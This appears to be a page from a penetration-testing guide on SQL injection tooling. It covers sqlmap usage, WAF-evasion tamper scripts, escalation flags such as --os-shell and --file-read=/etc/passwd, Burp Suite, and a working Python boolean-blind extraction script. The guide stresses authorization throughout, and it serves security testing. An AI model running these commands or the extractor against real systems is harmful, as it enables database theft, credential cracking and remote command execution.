Skip to content
CWE-89A03:2021 – Injection

Tooling

sqlmap in practice — techniques, tamper scripts, escalation flags — plus Burp, and when to write your own extraction script instead.

Tools Speed Up Confirmed Findings

Automated tools are for extraction and coverage, not for understanding. Confirm an injection manually first — you learn the context and engine in the process — then hand the tedious part to a tool.

Running a scanner blindly against a target is slow, noisy, and prone to false negatives on anything non-obvious. Point it at a parameter you have already confirmed and it becomes efficient.

All of the below assumes an authorized engagement. sqlmap's escalation features in particular can cause real damage; know what a flag does before using it.

sqlmap — Core Usage

Bash
# Point at a confirmed parameter
sqlmap -u 'https://t/product?id=1' -p id

# Feed a saved Burp request — the most reliable way to carry
# auth, cookies, headers, and body encoding
sqlmap -r request.txt -p id

# POST body
sqlmap -u 'https://t/search' --data='q=test&page=1' -p q

# Authenticated session
sqlmap -u '...' --cookie='session=abc123'
sqlmap -u '...' --headers='Authorization: Bearer eyJ...'

# JSON body — mark the injection point with *
sqlmap -u 'https://t/api/users' \
  --data='{"filter":"*"}' --headers='Content-Type: application/json'

# Constrain the DBMS and technique once you know them
sqlmap -r request.txt --dbms=postgresql --technique=BT

# --technique letters:
#   B boolean-blind   E error-based   U union
#   S stacked         T time-blind    Q inline query

sqlmap — Extraction

Bash
# Enumerate progressively — do not --dump-all reflexively
sqlmap -r request.txt --dbs                    # databases
sqlmap -r request.txt -D appdb --tables        # tables
sqlmap -r request.txt -D appdb -T users --columns
sqlmap -r request.txt -D appdb -T users -C username,password --dump

# Current context — cheap and proves impact
sqlmap -r request.txt --current-user --current-db --is-dba --banner

# Tune blind extraction throughput
sqlmap -r request.txt --threads=4              # parallel (respect rate limits)
sqlmap -r request.txt -T users --dump \
  --where="role='admin'"                        # extract a subset, not everything

# Proportionality: --dump one column with --where beats --dump-all.
# You rarely need the whole database to prove the finding.

sqlmap — WAF Evasion and Escalation

Bash
# Tamper scripts transform payloads; chain them.
sqlmap -r request.txt --tamper=space2comment,between,randomcase
sqlmap -r request.txt --tamper=charunicodeencode,space2plus
sqlmap --list-tampers                          # see them all

# Look less like a scanner
sqlmap -r request.txt --delay=2 --random-agent \
  --safe-url='https://t/' --safe-freq=5

# risk/level raise coverage but also noise and destructiveness.
# level 1-5 (where to inject), risk 1-3 (how dangerous the tests).
# risk=3 includes OR-based tests that can UPDATE rows — be careful.
sqlmap -r request.txt --level=3 --risk=2

# --- Escalation. Authorization REQUIRED. Destructive. ---
sqlmap -r request.txt --file-read=/etc/passwd
sqlmap -r request.txt --os-shell        # drops a shell where feasible
sqlmap -r request.txt --sql-shell       # interactive SQL prompt
# These enable stacked writes, xp_cmdshell, COPY TO PROGRAM, etc.
# Do not point them at production without explicit written scope.

Burp Suite

Burp is where most manual confirmation happens.

  • Repeater — the core loop: send a request, tweak the payload, compare the response. This is where you establish context and differentials by hand.
  • Intruder — automate a payload set across a parameter; useful for column-count sweeps and small boolean extractions without leaving Burp.
  • Comparer — diff two responses byte for byte, which makes a subtle boolean oracle visible.
  • Collaborator — the out-of-band channel for OOB exfiltration and confirming blind injection in async flows. Indispensable for second-order findings.
  • Logger / proxy history — enumerate the parameter surface from real traffic.
  • Save item → sqlmap -r — the clean handoff from manual confirmation to automated extraction, preserving auth and encoding.

The scanner (Pro) finds first-order cases well; it misses second-order and most logic-dependent contexts, which is why manual Repeater work stays necessary.

When to Write Your Own

Sometimes a short script beats a general tool. Reach for one when the extraction has an unusual shape sqlmap models poorly: a bespoke response encoding, a multi-step request sequence (CSRF token per request, a signing step), a non-standard oracle, or a rate limit that needs careful pacing.

A blind-extraction loop is about twenty lines: binary-search each character position using the target's own true/false oracle.

Minimal boolean-blind extractor

Python
import requests

URL = "https://target.example/product"
TRUE_MARKER = "in stock"   # text present only when the condition is true

def oracle(condition: str) -> bool:
    payload = f"1 AND {condition}"
    r = requests.get(URL, params={"id": payload})
    return TRUE_MARKER in r.text

def extract_char(subquery: str, pos: int) -> str:
    # Binary search over printable ASCII: ~7 requests per character.
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if oracle(f"ASCII(SUBSTRING(({subquery}),{pos},1))>{mid}"):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)

def extract(subquery: str, length: int) -> str:
    return "".join(extract_char(subquery, i) for i in range(1, length + 1))

if __name__ == "__main__":
    # Demonstrate against a known value before trusting it on real data.
    version = extract("SELECT SUBSTRING(@@version,1,10)", 10)
    print("version:", version)

Other Tools

ToolUse
sqlmapThe default for extraction across all engines and techniques.
Burp SuiteManual confirmation, OOB via Collaborator, request capture.
ghauriFaster sqlmap alternative for some blind cases.
NoSQLMap / nosqliMongoDB and NoSQL operator injection — see /guide/nosql-injection.
wafw00fFingerprint the WAF before choosing tampers.
interactshSelf-hosted OOB interaction server; alternative to Collaborator.
hashcatCrack database credential hashes once extracted.
OWASP ZAPOpen-source scanner; active-scan SQLi rules for a first pass.

Operational Notes

  • Confirm manually before automating. A scanner on an unconfirmed parameter is slow and misses non-obvious cases.
  • Start low, escalate deliberately. Default --level/--risk first; raise only if needed and understand that high risk includes tests that modify data.
  • Respect rate limits. Threaded blind extraction plus a long sleep can exhaust connection pools and cause an outage — the tool will not stop you.
  • Escalation flags need explicit scope. --os-shell, --sql-shell, --file-write cross into RCE and file modification. Written authorization, specifically.
  • Log tool output to the engagement record. sqlmap's session under ~/.local/share/sqlmap/output/ documents exactly what ran, which belongs in the report and the cleanup list.